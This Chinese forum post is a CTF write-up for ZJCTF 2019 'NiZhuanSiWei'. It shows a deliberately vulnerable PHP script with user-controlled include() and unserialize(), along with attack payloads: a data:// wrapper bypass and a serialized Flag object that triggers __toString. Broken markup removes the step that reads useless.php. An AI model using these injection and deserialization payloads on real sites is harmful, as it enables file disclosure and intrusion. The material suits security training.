【ZJCTF 2019】NiZhuanSiWei

打印 上一主题 下一主题

主题 897|帖子 897|积分 2691

[ZJCTF 2019]NiZhuanSiWei

收获


  • file_get_contents绕过
  • include联想伪协议
  • 熟悉__tostring魔术方法的使用
题目


  • 代码:
    1. <?php  
    2. $text = $_GET["text"];
    3. $file = $_GET["file"];
    4. $password = $_GET["password"];
    5. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    6.     echo "
    7. <h1>".file_get_contents($text,'r')."</h1></br>";
    8.     if(preg_match("/flag/",$file)){
    9.         echo "Not now!";
    10.         exit();
    11.     }else{
    12.         include($file);  //useless.php
    13.         $password = unserialize($password);
    14.         echo $password;
    15.     }
    16. }
    17. else{
    18.     highlight_file(__FILE__);
    19. }
    20. ?>
    复制代码
    首先看要进入if,我们需要使得$text文件对应的内容为‘welcome to the zjctf’。如何实现呢,因为file_get_content函数其实是读取一个文件流,那么我们可以使用data伪协议来构造数据流,payload:
    1. /?text=data:text/plain,welcome to the zjctf
    复制代码
  • 读文件:
    这里包含了$file变量,那么首先应该根据提示查看一下useless.php的内容,我们使用php伪协议进行读取,并且使用base64解码:
    1. [/code]
    2. [*]反序列化:
    3. 本来一直在纠结怎么触发__tostring方法,后来突然看到echo $password,那直接秒了:
    4. [code]
    复制代码
  • Last:
    payload:
    1. ?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:4:"flag";}
    复制代码
    F12查看网页源码就可以。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

缠丝猫

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表